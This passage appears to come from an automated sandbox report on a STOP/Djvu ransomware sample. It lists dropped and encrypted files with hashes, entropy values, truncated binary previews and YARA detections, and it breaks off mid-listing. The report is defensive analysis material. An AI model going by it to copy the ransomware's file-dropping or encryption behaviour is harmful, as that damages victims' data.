Preview:	{"ram..-h....7mI.H...J+...C.D/>.....A.)....g..h=....}....6..ic.Q.t.n.v. 2..._p}&...$...[-.1..`.....@.=.C.+....Al.R..m!3...".t@\|..;...R..w.6..x~.>s...cxxF(5...b.u.J..R..]....`X<>M..0..,....k..(.i./)^...#.....W...u...B.H'.^6......c.w.9....!...\^H.=.g....2.[..\...r......zy.8....r.K.W..m-.......O.@5(K....m+......=..B.....h..mS.. .....P... .6..Q..s.Q08..!...'..\|..m..65.............b].....`.\......\|n :..e.....7 .~P.!e..H..x.V6.:....Q.@\|.[..?.XC.K}..D....a...s.....>.............P.B.........u....iJ `.D)p....a..Ag^....kP..H.pB ...n...f\<y.BP@y..2.....PS.\......G.z\|.O.!..kn..l.x..m....(....m.iu....Al.v O.....\<....I.......A9QT..O..W..5(=..4,....W.Y.XP.b....N.....`..\'..Aje\...3..^F1.c/.8.3..a..f'{..{._[.0.EC.qC.:..d.....r~...n0..4C.o..VV$...........7$..8.b.w.'i.Jo.^;......e.j..R.4<Z..T..An3.......2..n&.,.........U..-=Bw.C.....)....c`w7.........J.....)x.....;s....q"z......K._P.S...\|...S...>[.w.#.@.f<.k........(..........Wj...n.kTS..Ra.yD.u

C:\Users\user\AppData\Local\Temp\wctF411.tmp

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	74525
Entropy (8bit):	7.997858225266634
Encrypted:	true
SSDEEP:	1536:I/YPB0ekd1acceeI2Pik96u13NlxCaTKouMMvdEIm78+:I/QbkAeeI2X96g3N3CaeFEImJ
MD5:	C899DCAEBF55D860F13B0C71179D4B68
SHA1:	21B292E24B99438E369E607DC622C68FD7BFD729
SHA-256:	EBA616A0F0E6E6A05677A133C5B7D17158B508A571DCD90D6B8B37DA47CAA7ED
SHA-512:	F53247E52B39FD9A21850F9F060BB77FBAB4C89806B3DFD4A6595136F707B4ADFFEFC0B699CBD592B7A44B836DE8D549D1ED88E0FC9020E2B1898E455A6F4725
Malicious:	false
Preview:	{"ram6.......z.6..gFc&....C.........#..j.!..ar,W.!.V9#r/.6.P..Pu....82)...p...Z.....].G.BO..4.}T.E.'.).l.sn..+..Z..vi......X..G...$....v"L+;.[.i.......y.j.psc...Q...R...O$...Z.r....f.N@.....]t.9.......9..Y..@.KY....s..}b?'..I..b........7...... d...V;C....Y..7f.Ha..)q.=?b.j.c.T.>...m....Df.K".=...8...%...nj.Y}..5.....h...v.)....r.]..<....Q..?d.y...m..L...1.y.i.)..)0U.{...v..~...{......k.$.F..{t_.b#k..y0.[aeT.kL.@_..#%..j...e....[..../....W......!."...uo.w......9n.....k..."B.//.1.,.!.6.)u..r&..b....b...........(3....C.!..[q......S1....{.....5e...t[.9x.X.H. .2tK....j.U..q...x....ZO..<S.7\.+._.>gK...l.{i.;.S.$.......0.....>N.../c....>.4gx..`k..P....e.]E...+.. mi.9...u_...C..I..xL.k.+).4\..b...b..F_7TC....-.u.n.....5.n_T.s..R..).._#F9...I8k\|.\..A.8....=.4Q.9..(Z..O..e..v.._..n....Z.ho..k.R.H.)..}Da..:....Z....P.D.....1=bIo>..I...i...]........9mI....<\|..).J....!r...g.x."%.i.vs...@;/.4......?e.9..... ...x.Z.oL.. .D3.9Hn(...)........?w.c..fC.[.Cn*obn..

C:\Users\user\AppData\Local\Temp\wctF86A.tmp

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	42164934
Entropy (8bit):	7.947664427559658
Encrypted:	false
SSDEEP:	786432:RwQNeYDxVRrMPJy7LVV4NDDmdrZy9wOtg5gGOdjtjSNu4GIluUNj56I59o:uQcWxDMPnN+dk65gGUjku4vNjLjo
MD5:	04E12B54DDC19C176360D6DD0BFF6E38
SHA1:	66C513EF677F537FA125CC1831EEF14E119CFED1
SHA-256:	3B549DD765F55EF8BFDC10AB1C7404D1D9B9E7E0B9436CEA1BE933555ACAEEF4
SHA-512:	052FC1556FB0A29700D731379957F1D6C522A81009B046999D73D921A8508B1C5266AEA206E5D4AEF6980C8ACAEF9B1B97E0DBF75387D56466B2263A8CD70CB1
Malicious:	false
Preview:	MZ.......wS...C]pA.....2......G....P...e...l..7.3.&...l.#R.....~.h.P.\{9..W.."..2....[....l.....HA.:;.+o&..n.].....i.......O....4...,'/...G...@~...[b".C.}..... .!IK=..4.t.x..=4......T.pi..iRNM.....e@,^.=..Y5..?^.+....Gu..x.Y.>EB...7..(....X..y..&..K.c..T\|...."D.G...3..z....M..k...)...j.0)....Ui.6(w ...!`..R....9.02.......t..{.fP..hH...{`D0.T...0".1...V.U...~..G{..3...[...SR..%[_.6.pm.....?C.ox].).T.Z.Z\@..Sg4J)..I ..\.6.~..L...O1..,.....:.}..j...R..#(.3..H.v...{.Y.I...H..(F..%..MF..M...H7..B........h(.4o.2.}`H...!.K.>....Z .cD...Yx[.e:b-.=...x..L...z:.m..m.;..3......w3]..<..e..`..X.sXrg...Q...L.......0.Q.._.;3g.7#_K.Z=m..G.-..*.>Y...A&.....m.ZEX.w(c......7.B)...I.9...I..G2...cf9..Ck.~.....g..`I...T9..s$6..6..z.. ...n....-u.5..4.R...].E.F.#:X....oi..t...j.=.}P!....`....a:\|9.1@.[.....h...._[.Q.._.FH(....\.\......0..RR......k.u.P.....M.........(..(..7r.X.....9"...X...^.11......6.N....1{..)..n...R.....i...NMa.r.R....t..IQb....8..

C:\Users\user\AppData\Local\Temp\wmsetup.log

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.772242837695736
Encrypted:	false
SSDEEP:	24:tn7TUYsyeRhuNL8AlePxf3LgJIRAij2uz7xzW4YuYtbD:V7TBsjhUDgP13LNAijj3xzRr8D
MD5:	6FC407DD56111F5ACF25077D47B25D77
SHA1:	8406126390E67F7B49179C069EF58103D13D5918
SHA-256:	58848BE97A9DBF9A3C4E1C660B13784F6010E213318FEF3D195C1DBFC07C4E1A
SHA-512:	6879C9DB40DD7D964E308437AE507F28B460AEC46C738913929631930CE9ED8D1A75CD6A5567B8BB031734F9B694C8BABD3246A0873004452016980111905DA4
Malicious:	false
Preview:	..[W..bv'....w ......'K.f......D.w..\,+..S..MB%".R.<:...:}...........H.v........U.5.e.G.'...d.A.cm%I........]\|.....qd.......>.......EG..%.\q...G.p.iX.M(...1..N..%.x/..Q.. 6(.x(G,{....t...B&.M.b......xmR...-.a..'..)....a...v%.4.$....u..7G+..#..U+......[..H..f......MX.$..23)O......mV....}L...5.[..v2...E4.H5 l..:c...T."i50...1...430t)u.f.g...>.."y.k#[.Q..=#...p<..&....D8.,1.X...Me...,l....6wd....OD.CR.f.O. .p.b .....%n.n.y(\|w.$.7\v..b.z.....6..m..d.?"....4..oQh...\|......&..!.....3..y.2....P.....w.<z9!d....y.....cw\|.N....8..:..F..yF...2.oN.K.......H.......^.........F..Li0e9..'.cg....?L.....=.Mv.d.s....y...>.A(C\.......`.g...`....%,..n.b.e..Q.}K.lg.....e...4.......o#.'...H.m!.n...9...s..:.o#k?....ZB.(.......%E..M....,..%".c7t..[..._}.E.dm...6..91.S.B.]...[\ .B.K..[8..9U.mPf....&..,_).m4..F.ri........$q..>NN...k,'.U.A$....#...ST.........$.~..\.0wM...`.-.....,..cJ....$.sP...nw.no..f...p.......7.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698

C:\Users\user\AppData\Local\Temp\{02662522-698F-45B5-959E-0EC7B36298AD}.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.97215369948185
Encrypted:	false
SSDEEP:	96:P8KcGg3Pkuh5YaHHIqHDmP3MhMtrhp2eMcFz25LB5KyLPTXQn9McTxlbfMYWObWo:PF2gaHHDCblrz125LB5vbRcllL0P4ldD
MD5:	FE6FF0373DD797FDDD92E52A6459C8F6
SHA1:	81B26C9B2AB1D2C0EA35FC5AD5C8C5869EFC05E3
SHA-256:	4EE97BAFEC4B5FF113C6F58A026C2AC97F9E020139E4E38CBFCC35605A19EF1F
SHA-512:	00F92AE61C0567DAD6C4F7B06A9E2581E91A80A851A75E9EFE6FC1BF7353C6FC9E81DEAADBFCE50B3F2030DBD0AE8A3D37E351CD47998DDA4B1587CE5726AC3E
Malicious:	false
Preview:	.PNG...E.....t.k..GR`..]%.E....t.}.....z..%]?.7AL&.Z.#...e[.q.B.58.......xc@ZD.6.....Bh..Y.....3.E...rh...[.<.".ND. .t(..! ..I~.C..x.K.D....3..1.t..i..........x. .),.M.m.O.9....zy...s\!_.p.d...8.Td0q...}v..2.7-4$.@Z.`.iC....r..A....w.P....TG...I.=..-u..V\|...r.i.n.d..0.SmHz.....J......6<.......O..@..Y.+(...+....<......U....K..m...A.:?.\..B....U...I.........X.w.?..Q...D....'.......ha..xi}?.6v..._.r.l~.}!%M..aD.....V."...g.Sc...Ow1.5.j.\...T.X.p7_k].....#....1..+.......=..9.g2.S. .E..N.....d..*0q..gtw0...=e..\{....5...j_.W&.._y..w~....F..........I<..PsX..7JC.3zFF..,zS.S....;.Al...q...4.h<.&._....R..].Yt.^f.M.W.#...`..d~ok.ql......H.[.....s...t.$r..............&M._U..n41...p`9.{..U.....}o...t.}.I................u.BE....oZzw.'.B....Sl.&e.An...\d.[.....(....8....Q.`.E'9.O..M.W...+.T&..,.#jX.0.Z..E.9U.cw.h.P..Z!V...r..YaP....9...n(......7.a..r...MJ..i...'.b.....L.!:...bpd.)=..>)p.7..z.......T$-h..U.P....WJ.^t......e..8.9..6[@...LH...l.s....T...'Z+

C:\Users\user\AppData\Local\Temp\{139BFC28-947F-45CC-9DE4-AB0FCAEF6E9F}.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.971191124101595
Encrypted:	false
SSDEEP:	96:P4VBVVB9wFXRlJphosUeytHylhxmD/SYHczQ+McmGpZ/PtjXPt2AH54LC+Lz0VGf:Q3VjO7phosTytHyTIb98FmUNTV25C+LZ
MD5:	341A40AE152D4AF41C757E828F14A247
SHA1:	60FBD60B0142EA9C3C8ACDD6320BF828A54CF993
SHA-256:	3A8F6D62ADBFBAD8EECD8D0157BACA1413974F52FD8D87173AB0F382F1C9BFA0
SHA-512:	3E22926F7D09A4D50D89CCF2964DC2727742D7F7E3C50843AF99A796D872E0B834A2F654451E1AABAB161DD4E6E517188FFDEE4DACD8072E4A1A93289974E274
Malicious:	false
Preview:	.PNG...r.....,%..\.....F.:.....\..l2.]1..G..oB...p'I"1.........x..h.;.)....k....e2.<.......Q.....&....M^..W.39./._.x6w`.(...Y.........\|.?h5j5....i....#....Y....h.M..2..T...Z....D.T..D.c^.....u.m.V.R2..V....DI..X..A^..YiW....hq....6...h.._....d........P...I.......a..qH.3/B._...Gj..y.1M47..?,}."...X.!7p..?...C....T.".M..../.?........K..TsO...!V...2j=i....x...a...\|........]......s@..{.u...w.R".D9.E....eB.L@.O3...x...m=..'.,.z..n.d+M..2..^D.....F...S``..>....(G..!..`#$.y..QU..h7...U........`..G....E.J.{WM...$st..l.U.Y.Y...@\|..J....S.....!.g3K..1G...V.6#./...U...-.OS.%..Hs.K.#...".y./...k&...(t....'..".qXm.$r..U..kl.........^"r.......HQ.*O.B..{.d.J".s..P.n..4.%@....I3...P.d...A..BE_->/y..m.I>1......v...I...Z.q>....w.....R...j.U....@2.......= ..K..8..mq?.D.........s.@....'..R..p.R0..j.ZT[......k<.6...+...6-..0..\.[.ep..]3N...U.6.9...../:....un..Z...=..%./4.^....;.s-m.=f.......m../.u/P...M.n@@jW...W.J...8.1....;.....-.......e.K ...Y.A.+^&

C:\Users\user\AppData\Local\Temp\{5871238D-BEB9-464A-931F-701C8F0FFB10}.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.970756130441653
Encrypted:	false
SSDEEP:	96:CDnPkzo+i98kgO438LvUyvEM22HLwGqztiDZoVNXweraV/VwPRlaz63ymMdqfxHF:CDnPkzugMvVXSUsVwB1VwPR8XdqfxHxf
MD5:	F484B8BD29BF9A28716BD4835A515D3A
SHA1:	FDFE069949DD6A67AA1CF8C9E7C460D12E8850BD
SHA-256:	1C22927B73EFB17191B426AD5413CCD2F507B9025046E8DBC973CA550A7CC88E
SHA-512:	54DD04E27C39823427632AEF51E2B8645C365E0D7F50552253D3AEB241FDB4926A38FBEF4617D09BBFB436D03C43AF50CD654148ADA8F252A4337AFEA453A633
Malicious:	false
Preview:	.PNG..v..x.....!5....k.........U.0...?.[.w.R..]:8..Y.'Sn<U.DN0.h.....lHx63..%==.9D.di...s...........hm....+/o...P.P.G:....q.f..:-.i...4.S..c.R.n..o..)..)..O.E.K..whz...Z.....f."i.}...I...........z+.......8...a..&{....D...z..g..k......(.t..an..~d.....%2.M.MjD9...q.9....0.7......m.l...2N. qy.........M..C...5j......f..B$U=.u.C.HY.....\..;.n.P..J...]3..r"..Q.H7...v...c\|.9..8`....>.9W...F4.....J....s...qu6.[J.vd.S.......8.......S.Z1q....W.b,.......9.....k..D..!.m.=...B....K. ..Eb.G..f......RI.s..?...R.m.4:!..JV..M.)0.B:.7....\..f..O.4..5.KVT......q.`.c.].Q...`.:..k&..0...dA.{.GKx.\.O.%....7k:?.G..~....U..mK(}....1 ..47[.....F.O.(x.F.<.....jT:..].1 ~.$.p1...t..t.<.....H?~.-.....5....u......!~.4;-iP.Ubdeo.a...)...o.}.3Dc.V...`r.D.j..YZ&.za..A.?.8...@k..T....G........,P....V.....$...a..:0. h]..j.N3..j.=H..2{C..OV.z........=.\...0.rf...}oOO.u/.:v.i...5.-ZQ.a..r...-'.........B$P...I\|..O...K..>...9`..v..M.......C.U.;P.2x............W,.ec.

C:\Users\user\AppData\Local\Temp\{5F969F84-5F34-4AF8-8D36-D6D6A1668750}.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6130
Entropy (8bit):	7.9690675675245295
Encrypted:	false
SSDEEP:	96:pOPCnS+aytIzxjb4umvu82eu7cb98PYc5NbpIA7qAsMcer9yHu4w57Y9whA5sB:pwCS+a7zxjb4Nvu8Lu7c2PjbpIfeyOLX
MD5:	F173DDF0FBF7A23974A7236F4D6377A4
SHA1:	783830E47CDF3D0691FFEAD163719CE0D72A3EEA
SHA-256:	AE462BD6CEA8199A1AC173ACAFE02655061EE706A1372CD044E5FF7878D517F4
SHA-512:	F6876DFC6BC6F14D41C3DCFE5D3B36184A1C36AA8D869504D7E9B149156C0DD92B57D8811409DE87C00C23E498634B173CFD81814F5C6576C15DDC9691109DFE
Malicious:	false
Preview:	.PNG..Z..3J..(2k,~.#.P..v..6b].7.h...j..Y.a..g:.\|..~....8.....\dA....j&6Z...e..G..Ex.d.su@....).. X0..X.4b.+G5..%..@..............&...x.....)G...}t..A.".i.......e......Q. .ckf.?.r....-)..m\|nHCul.s.C`......n.1>.>......^.l..#6....-.}A....[........T.;.X.....P..`.{:Dt.F..s.8...$&-)....c.W.{&.<..W.i. 2z.<.B.P5......]Z.7(hd..?Dtb......../.4...&....9..v.~/l....B..kD.?.....N..y:.j,U.V.m.z....(....d.....f=m+......9...=.6.m...^.T.%'..7.....}...."!.Z.s.Yc.....C.-.......^...[.F.2~..dz.x..X.....`.N..Q.5P.-@f.....Z.8..g..=.z...g.l.Z...X.......e...m.\9..;3t...."B7.c..F)...e.{.H'.......?..08.l.V-:K..v.......D/..t..M.<.[[65.Bo.. &'..`j.Bg..XJBC..{P....xM~.F`..q..x.]..#.UJ.`....o./.......%..;=...F.3?......M..t.....Tzy...F...G.....I,[K.1..8S..s..:.X.:.....K.cR..#.c^..W+......>..."..V..z...~........:..6y@.u.....6[....V.5._"(..K...<.....mo.E.^....2.....R.i..($........8.\...+=%.Pe.I....2q....OW].2.B?.@.4.P.daw.....6d6I.g..?.9.Z.S.M"\|-.@ ..YL....z:..t5.LW

C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1153632
Entropy (8bit):	6.647996018974956
Encrypted:	false
SSDEEP:	24576:ZBUIKn/vwOXGUXAjCymYZiVtElVIBT2roqnTSSxWeT/dRPOO8RWQHUq7:F0dwAYZt6C31WeTVRPOhR7Uq7
MD5:	37118CEF94032F930D9ED40FA37144FE
SHA1:	892D01B286A17E9FAEDEC5FBDA3D268842306393
SHA-256:	D83013D86062DAB8E194AD14DA91A214D2E539D1A9FFF3E29C9E2E02F4BF9D07
SHA-512:	C01E408709945CF912836D04A0E754D8CC7D1641E13CFA33809328498E031387E45B633FEC885384A227002762D7F332BF82B58A8B0FF44A5C3433988991E9A1
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe, Author: ditekSHen
Antivirus:	Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(O..l...l...l....7.f......+/..*...h....9.m..../.m...a\|..Q...a\|7.s...a\|.......&.n....8.n....#.M...l.........d...a\|3.m....6.m...Richl...........PE..L...7..]............................AA............@..........................p............@....................................T...............................,...`...8............................Z..@............................................text............................... ..`.rdata..............................@..@.data...X........d..................@....rsrc...............................@..@.reloc..,...........................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\d2583024-77e1-4eea-bc4b-ca78b6310beb\f6ffg1sZS2.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	67138
Entropy (8bit):	7.997449760014793
Encrypted:	true
SSDEEP:	1536:XNXOjUKjhNO0b/arsLacWXT6JyfvnjtKAsWow31N5P:deQgNBawWj6J49v93N
MD5:	8FAE9B778569D347A0DB2D73F9369D4D
SHA1:	F3CFAD79B5C5AF7664E68C3491D7212C6B96EC59
SHA-256:	AB1374836176A0F06F5FEFE6A315683E32803B983A746C866BE40BFAADDEF5ED
SHA-512:	15176A625181E46A5B0526E671C363CBCA884187F21432F95D5B69FA9DA1337AE1EC6BF83D06E1612DC379BA71E25B404F0BAA6D8ECCE848439A08421AF24889
Malicious:	true
Preview:	0....T.t.....O....._..Z.M...qW.>-y..Zm.k...k'...BR9#T...(....%nd&.w...7i...9s.(Ql.%.q..[..]..N....dC..5..t:...!'8{.I...[-m..U...`...K..'S........ .\|q`/lO...#..........yl...v.:.@.>..p.......8....!ju..L..e.\|..K.......d@.t..fm.8.W..Z..^.E..\|QKQ...`....b..j2H.....Q.... ..Wn..X.N....4X\|.w..x$.n..A.)>.......%...#....N.b...u...J .? PD.....>..}!.:R.n.k..4......B....}......E..8......sSi...5.R....'.W...../f......\-..5....?C..V\.....e..c..xaW....P..w...u...BWz.x.}nJ...i..........h....$T.(@.g.32U.s...0..Ilq...`.......n.....6r(8@.=.DB..iO......{.........1...U."(..gy.P....`#... 7n....r.Z:...8.40.....U.MQ..n...........).!.......K.6.5;M...b..xv.qeu.u.~.....,...w....C_.i/.b{fEwr7...w#.B]..j.M..\.L!..'.Z&#.W..X.6......]......LE..p9C..M.S.4P...?...\|..k..5.....^S-.....P..r.....".x...;..EA'.}..6 .F..j...<.F..=8..Rz..s......x.......kO..fk...i2U.K.Q..S.J.M.$...ca...!3.s8....N.y...t....&S:;V.-.R.u-.LC..5..W...n.-....cto.... 7B5.....-.G..........Q....R.V.

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	7.817179265014333
Encrypted:	false
SSDEEP:	24:yahVqvUMIgdTM7F/6bsrekYTSmVXt6gzMDngjiZbD:yStMIfiY+V96nnqAD
MD5:	B474E24CCF9DA3576D8D50955F307348
SHA1:	DF1F45DDB8CE559903ADD6E158BB70867C3DB3FA
SHA-256:	B81C47CD197B6823CB8272E9AFEEC9AA2C379365BC8419BC9F936F575C45E9F0
SHA-512:	1930259A0410A2ED20ED4CA5A7B6A8761769D3E3434D68303456ED03B654AC903FDC2FD2E2B176F5124BE07E5F725D0D20116FDFE2CC1D4B3825233262B42FA5
Malicious:	false
Preview:	0...0.u.l4\b.q.....[v$..U.R....^....../;gt.Uz..g.i>._29;.50_.tqR..........Z.f.....N...e.o...Hx..V...T^..b.g<.H..]"...s.<Q.d....f.........gZkde.7..06.._.H...bc.+$.8...s,....D.!.S.....s...@7..k.._p.....Y.?<.{S.z..+....a#.Q....Evx66i..Y.B.....U...A.ro.....TN..h....l..H..q^1..y]X{..do.Kr... .B]..;O.6...M.z?.b...b..tE.[R.f..V[D...5..WW..b.[.6..8....9..m{N&.74..X6a.c..(.`.8...;..:..>...ZNv.....<.U8JZI/=...u.......l...(..M ..Y.........%gbeY..}c5.I.W(..~..9....v.... ....i..(.T.yf...Q5,.....L..RR..@.?...hn..c.5....k..{M.]...t..p.....:z...Nj<..x...a..MQ.D........I~._/....I..#lV......"A....Xc.....Q8......m..+..,.?.@...]........k...%\|s+-...c..>[.h.b.Z.pzn1^#....A...f3/S+f*O...........G.J......X..#......w../..o#u....../...{Y!....e...@.7..........!.......6..{h.m\..O....X...a.....w.Y..>..~.7.{.'ii..=...Q..........e.5E.....F$...W..!.......-.A....1..7...>.uy.u../.$7.DB....9.O...J.Z...C.....$....R..(..`..sC//)j.P..H..0(.@.=....T..f.LQbDo3E

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMDocs.sav

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	370
Entropy (8bit):	7.349354840329453
Encrypted:	false
SSDEEP:	6:qbrdzqYKrQSGwnwL4DgD6HoicU1WZtSCLBE6KWUZZIWHwXQAFm8pdgU3cii96Z:qb5qK6PDZHoickWZtSCVQ7RwXdS2ciik
MD5:	12CC4E0AC84953D5C9B701851191B402
SHA1:	1E8737BB96E1C0BCD5281839F83D90ADE7AB9C45
SHA-256:	D0DDE27A3B53672D7DD4BB24BFDB656DC195E6E807FCA4ED6278A49486452D98
SHA-512:	E2002D4C35838235101E6292758CC5C4D48E9A8E60639B7029F19A613973225695EE3B3F8735496ADF03C6E7654C3D291E1CE04B6F7A38BE2F8C06CE2EFF1ED5
Malicious:	false
Preview:	%PDFTd3...]..v.._...6...1.=.../...S.O..u:!.a..e......i...; 5k...pzx..H..o.....5\|.{...#y...uY-U..\.Ac..D..;.Qo.e.5.`...%.W4%.Du.....6...+...v.X.....gR....k...(.../,"Pd=.8..Y....R)...g.O..V..].........(.^D.aO.0..j..v.OF.NU2..,......^.S.K._.i.{..>.....XUk...q.4....n.q{3....<...>c..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\TMGrpPrm.sav

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.334661602794225
Encrypted:	false
SSDEEP:	6:ITv5jLmNtJ/S7+GYMH4cEZGlfEpj7i5vMSfcuWqaKlvpyEW+TZYvvcWpxFm8pdgw:iGNZSMhAlvpXCvcuxS2cii9a
MD5:	814357CA76F9CE9A61D7C5D5ADF69273
SHA1:	9422A87786CA29FC064322CA6D5EC858CE57FE11
SHA-256:	65702524F318054BE87DD7C9F3CB11BD6BE68588C1456C76B0A041E3055FA882
SHA-512:	8E66A0C62464761BD5FC85F886CA6ECC14D2E738163DAAB6F29FFEF9D190816D45A13689F0B813274F324C8810871C85541FAC1DA7B6F612D9A1EDC45BE12D9A
Malicious:	false
Preview:	%PDFTF.)...i.M.l..{........k.([......f.<)k.?....D.'.S....0.y.Mg..1,..1".Fk..-.T..2.>V..g....z.....HVSxX..tX.D.s.m..)..f.6..O....]]...?j..M..ZG.....\"@a,B.;>.2&..r..yL..?.....r!.{..k....H.Y.,.V........o%.7.-....>EN.:.._\...I........Z....;...............!.de......q-.eA..-....=Zr.......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	7.288416122297359
Encrypted:	false
SSDEEP:	6:QIRgI+jef50RO3I23ifmOX3SSo0AIRHiU77nbHyAFm8pdgU3cii96Z:QC+jA5ucOnUIwW7nbHyAS2cii9a
MD5:	E5EAEFAD7E0E53ED6E4A7ECA6C38277E
SHA1:	D4F25505D7CB320C41FB2DFF9532BA137CD4ABCA
SHA-256:	4EA8A8423A3E74A6054E66036AFAB242012A338DE9F8CC016DCB3AE7FD044556
SHA-512:	FCE4A00163C142FA78AB9C29EC39BFB6799E3BDE3A0E0F8D7AAEE752D0B52C4A375E5A8EF079EE7C60257D1D6D20400EC124A54E7457D00E698839859547AE2F
Malicious:	false
Preview:	..j.o.Ub....r..e.6.].-...S..m.K....X..L.t...B.5...;..<y......&..-..8?H.....qg..kV.O../:q.h...)e[.....,.3..yq..,#.q.uI.....[..@>....[.f...GSB.<.H71..rt+]...."...+pK..Y.R.=.5.s.......T1..q..<(..P..<L.9..}.j4....J.;3..1(....-..9...p..>Yt..u.."....V_....!.]....D2.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\CameraRoll.library-ms

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1352
Entropy (8bit):	7.850029319379441
Encrypted:	false
SSDEEP:	24:Ns2A2NuQz9SxE2Zv/6Yhs2lbnBwdaTudWUvhKpVJa96Uy9t0LFzvbD:N/5WE2R/LhXlL4aTuzKpVJa9jLRzzD
MD5:	13E49B28CFA4BDF88F0F826A22D72D3B
SHA1:	B6B39A99EDAB80233ABA97872DB247E7EF0BB563
SHA-256:	FE8A9C467D623770CA181087BFBF7C5BE32A028036FB1AB3016D27D3FE65949E
SHA-512:	BAE0FDA4F3908C09BC6DE5FC9D0E2F81E8E6A3DBD56A065A305E891B982775E8EB7C683BF78DC4731019E725F0F81ACD6EC0E3A3F180530DFDC1057B6E4C9A88
Malicious:	false
Preview:	<?xml....T...!..\|.&..wH.!....S,...-.&.CL...qQ-B"..Bg.D../v.....4..>...#.m.8.~....`2.-.......p.,V".]..(6..z.F.T.F.... 1..ccn3L.0.E..j..P.K.M.y.T....G?).C...V./...:.........T.cg..u..m...x..f..._........_3....j..u9@z...p.v....zi.e.....(..Y.....cT.\|.;......&6+..}..w.\..p.....L$K..r~\p#.(.......\.U...k.W.`j..f;..../.....U....6 ?.D..)..~c-....E.....V..$w......_..c....#.._.K..N).......bm.#B...d....2.......e.R.....).R.o......Z.p..u..=c\..Qs....<.)...ykP....%%....%..SZ...Q>.aT!a...g......S<F...W.;C....zN..r.T.x..X(.X....]..K.7.].....(....^7.)t..k.c{.....G....6o.V..(......$C...".xN..Z>.,.(.1M.I.S..........c_.H.i....v..D.b.M7#4..X ....6....._.&..x..a;..L.....r..y...Q..g...a"./j...go.@..Sym.u.;..!.....(l.T....l.?&f..X.^pj.. w..s....\|G..b{?..Ft/.h...}.5.."...W..U.K........x^Mxz3.I.o.z..k..........[K'.r.N..Y .N*.p..;.....A..........h.fC.DW.2...a....k.d.^.cS~a...[..._....L...G.......;..QyA.5/.}H...z$.6.F.O.(.U.&=.Ej.c._...x_..S.+A@!i\`

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms

Download File

